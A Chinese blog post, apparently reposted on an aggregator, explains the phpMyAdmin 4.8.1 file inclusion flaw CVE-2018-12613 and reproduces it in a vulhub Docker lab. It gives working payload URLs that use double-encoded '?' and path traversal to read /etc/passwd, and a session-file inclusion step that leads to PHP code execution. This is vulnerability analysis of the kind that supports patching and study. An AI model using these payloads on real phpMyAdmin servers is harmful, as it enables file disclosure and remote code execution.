美文网首页
phpmyadmin4.8.1远程文件包含漏洞(CVE-2018

phpmyadmin4.8.1远程文件包含漏洞(CVE-2018

作者: 二潘 | 来源:发表于2018-09-26 13:49 被阅读816次

phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑,通过二次编码即可绕过检查,造成远程文件包含漏洞。

参考文档:

漏洞原理

一个攻击者可以在服务器上包含(查看和潜在执行)文件的漏洞被发现。该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试。攻击者必须经过身份验证,但在这些情况下除外:

$ cfg ['AllowArbitraryServer'] = true:攻击者可以指定他/她已经控制的任何主机,并在phpMyAdmin上执行任意代码

$ cfg ['ServerDefault'] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码

漏洞形成的原因

/index.php//line 55-63


image.png

if区间一共有五个判断:

1、是否存在target参数

2、target参数是否为字符串

3、值不能以index开头值不能出现在$target_blacklist内

4、Core类的checkPageValidity方法判断

如果通过判断则包含参数所指定的文件。

前几个判断可以忽略,重要的是后面两个判断,先看第一个

/index.php


image.png

$target_blacklist中的数组为import.php 和 export.php,只要target的值不是这两个就可以
我们看下一个判断
首先找到Core类的checkPageValidity函数:

image.png
checkPageValidity函数里又是五个判断:

1、$whitelist为空则引用静态声明的$goto_whitelist

2、如果$page没有被定义过或者$page不为字符串则return false

3、$page存在$whitelist中的某个值则返回true

4、$_page存在$whitelist中的某个值则返回true

5、经过urldecode函数解码后的$_page存在$whitelist中的某个值则返回true

我们来逐行分析:
首先index.php调用checkPageValidity参数时并没有传第二个参数所以会进入此参数的第一个if区间,我们来看一下$goto_whilelist

image.png
$goto_whilelist定义了些可以被包含的文件名(省略了一部分)第二个if直接跳过我们来看第三个if区间,如果$page如果等于$goto_whilelist的某个值则return真。phpmyadmin的开发团队考虑的很全面,想到了会存在target的值后面再跟参数的情况,于是有了第三个判断:
image.png
$_page为 以?分割然后取出前面的字符串再判断值是否存在与$goto_whilelist某个数组中。

这个判断的作用是,如果target值带有参数的情况下,phpmyadmin也能正确的包含文件。

也正是因为phpmyadmin团队考虑的太全面了,才会出现此漏洞......

image.png
后面又将$page参数用urlencode解码再进行以?分割取出前面的值做判断。那么传入target=db_sql.php%253f/../../test.txttxt内容为<?php phpinfo();?>//%253f是?号的二此url编码urlcode将$page解码后是db_sql.php?/../../test.php  再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true

漏洞利用

漏洞环境:
0x01 源码下载地址
https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

0x02 首先进入到CVE-2018-12613目录

cd /home/phpmyadmin/CVE-2018-12613/

0x03 接着执行如下命令,启动phpmyadmin 4.8.1

docker-compose up -d

环境启动后,访问http://your-ip:12613,即可进入phpmyadmin。配置的是“config”模式,所以无需输入密码,直接登录test账户。

image.png
访问http://your-ip:12613/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取,说明文件包含漏洞存在:
image.png
利用方式也比较简单,可以先执行一下SELECT '<?php phpinfo()?>';,执行成功之后
image.png
image.png
然后查看自己的sessionid(cookie中phpMyAdmin的值)
image.png
然后访问http://192.168.10.115:12613/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_ 34340c2ca491f432a79710ca55f6a81c包含session文件即可
image.png

相关文章

  • phpmyadmin4.8.1远程文件包含漏洞(CVE-2018

    phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。其index.php中存在一处文件包含逻辑...

  • php文件包含详细介绍

    一、什么才是”远程文件包含漏洞”? 回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来...

  • 【渗透测试】-文件包含漏洞之初入茅庐

    0x01:什么才是”远程文件包含漏洞”? 服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • 文件包含漏洞详解

    http://tieba.baidu.com/p/2310282657 什么是”远程文件包含漏洞”?服务器通过ph...

  • 网络安全之文件包含漏洞总结

    介绍 文件包含漏洞属于代码注入漏洞,为了减少重复代码的编写,引入了文件包含函数,通过文件包含函数将文件包含进来,直...

  • 文件包含漏洞

    定义:在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄...

  • 文件包含漏洞

    几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,在JSP...

  • 文件包含漏洞

    文件转载自https://blog.csdn.net/chence19871/article/details/51...

网友评论

      本文标题:phpmyadmin4.8.1远程文件包含漏洞(CVE-2018

      本文链接:https://www.haomeiwen.com/subject/fvydoftx.html